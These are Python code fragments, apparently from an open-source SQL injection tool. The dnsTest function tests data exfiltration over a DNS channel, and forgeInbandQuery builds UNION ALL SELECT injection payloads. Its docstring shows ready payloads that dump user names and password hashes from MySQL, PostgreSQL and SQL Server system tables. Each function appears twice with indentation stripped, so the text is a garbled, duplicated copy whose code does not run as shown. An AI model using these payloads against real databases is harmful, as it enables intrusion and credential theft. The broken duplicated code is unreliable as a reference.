def dnsTest(payload):
logger.info("testing for data retrieval through DNS channel")
randInt = randomInt()
kb.dnsTest = dnsUse(payload, "SELECT %d%s" % (randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""))) == str(randInt)
if not kb.dnsTest:
errMsg = "data retrieval through DNS channel failed. Turning off DNS exfiltration support"
logger.error(errMsg)
conf.dName = None
else:
infoMsg = "data retrieval through DNS channel was successful"
logger.info(infoMsg)
def dnsTest(payload):
logger.info("testing for data retrieval through DNS channel")
randInt = randomInt()
kb.dnsTest = dnsUse(
payload, "SELECT %d%s" %
(randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(),
""))) == str(randInt)
if not kb.dnsTest:
errMsg = "data retrieval through DNS channel failed. Turning off DNS exfiltration support"
logger.error(errMsg)
conf.dName = None
else:
infoMsg = "data retrieval through DNS channel was successful"
logger.info(infoMsg)
def forgeInbandQuery(self,
query,
position,
count,
comment,
prefix,
suffix,
char,
where,
multipleUnions=None,
limited=False):
"""
Take in input an query (pseudo query) string and return its
processed UNION ALL SELECT query.
Examples:
MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
@param query: it is a processed query string unescaped to be
forged within an UNION ALL SELECT statement
@type query: C{str}
@param position: it is the NULL position where it is possible
to inject the query
@type position: C{int}
@return: UNION ALL SELECT query string forged
@rtype: C{str}
"""
if query.startswith("SELECT "):
query = query[len("SELECT "):]
limitOriginal = ""
if where == PAYLOAD.WHERE.ORIGINAL:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, ):
limitOriginal = "%s " % (
queries[Backend.getIdentifiedDbms()].limit.query % (1, 1))
inbandQuery = self.prefixQuery("%sUNION ALL SELECT " % limitOriginal,
prefix=prefix)
if limited:
inbandQuery += ",".join(char if _ != position else '(SELECT %s)' %
query for _ in xrange(0, count))
inbandQuery += FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(),
"")
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
return inbandQuery
topNumRegex = re.search("\ATOP\s+([\d]+)\s+", query, re.I)
if topNumRegex:
topNum = topNumRegex.group(1)
query = query[len("TOP %s " % topNum):]
inbandQuery += "TOP %s " % topNum
intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query,
re.I)
if intoRegExp:
intoRegExp = intoRegExp.group(1)
query = query[:query.index(intoRegExp)]
if Backend.getIdentifiedDbms(
) in FROM_DUMMY_TABLE and inbandQuery.endswith(
FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
inbandQuery = inbandQuery[:-len(FROM_DUMMY_TABLE[
Backend.getIdentifiedDbms()])]
for element in xrange(0, count):
if element > 0:
inbandQuery += ", "
if element == position:
if " FROM " in query and (
"(CASE " not in query or
("(CASE " in query and "WHEN use" in query)
) and "EXISTS(" not in query and not query.startswith(
"SELECT "):
conditionIndex = query.index(" FROM ")
inbandQuery += query[:conditionIndex]
else:
inbandQuery += query
else:
inbandQuery += char
if " FROM " in query and (
"(CASE " not in query or
("(CASE " in query and "WHEN use" in query)
) and "EXISTS(" not in query and not query.startswith("SELECT "):
conditionIndex = query.index(" FROM ")
inbandQuery += query[conditionIndex:]
if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE:
if " FROM " not in inbandQuery or "(CASE " in inbandQuery or "(IIF" in inbandQuery:
inbandQuery += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
if intoRegExp:
inbandQuery += intoRegExp
if multipleUnions:
inbandQuery += " UNION ALL SELECT "
for element in xrange(count):
if element > 0:
inbandQuery += ", "
if element == position:
inbandQuery += multipleUnions
else:
inbandQuery += char
if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE:
inbandQuery += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
return inbandQuery
def forgeInbandQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False):
"""
Take in input an query (pseudo query) string and return its
processed UNION ALL SELECT query.
Examples:
MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
@param query: it is a processed query string unescaped to be
forged within an UNION ALL SELECT statement
@type query: C{str}
@param position: it is the NULL position where it is possible
to inject the query
@type position: C{int}
@return: UNION ALL SELECT query string forged
@rtype: C{str}
"""
if query.startswith("SELECT "):
query = query[len("SELECT "):]
limitOriginal = ""
if where == PAYLOAD.WHERE.ORIGINAL:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, ):
limitOriginal = "%s " % (queries[Backend.getIdentifiedDbms()].limit.query % (1, 1))
inbandQuery = self.prefixQuery("%sUNION ALL SELECT " % limitOriginal, prefix=prefix)
if limited:
inbandQuery += ",".join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count))
inbandQuery += FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
return inbandQuery
topNumRegex = re.search("\ATOP\s+([\d]+)\s+", query, re.I)
if topNumRegex:
topNum = topNumRegex.group(1)
query = query[len("TOP %s " % topNum):]
inbandQuery += "TOP %s " % topNum
intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I)
if intoRegExp:
intoRegExp = intoRegExp.group(1)
query = query[:query.index(intoRegExp)]
if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and inbandQuery.endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
inbandQuery = inbandQuery[:-len(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()])]
for element in xrange(0, count):
if element > 0:
inbandQuery += ", "
if element == position:
if " FROM " in query and ("(CASE " not in query or ("(CASE " in query and "WHEN use" in query)) and "EXISTS(" not in query and not query.startswith("SELECT "):
conditionIndex = query.index(" FROM ")
inbandQuery += query[:conditionIndex]
else:
inbandQuery += query
else:
inbandQuery += char
if " FROM " in query and ("(CASE " not in query or ("(CASE " in query and "WHEN use" in query)) and "EXISTS(" not in query and not query.startswith("SELECT "):
conditionIndex = query.index(" FROM ")
inbandQuery += query[conditionIndex:]
if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE:
if " FROM " not in inbandQuery or "(CASE " in inbandQuery or "(IIF" in inbandQuery:
inbandQuery += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
if intoRegExp:
inbandQuery += intoRegExp
if multipleUnions:
inbandQuery += " UNION ALL SELECT "
for element in xrange(count):
if element > 0:
inbandQuery += ", "
if element == position:
inbandQuery += multipleUnions
else:
inbandQuery += char
if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE:
inbandQuery += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
return inbandQuery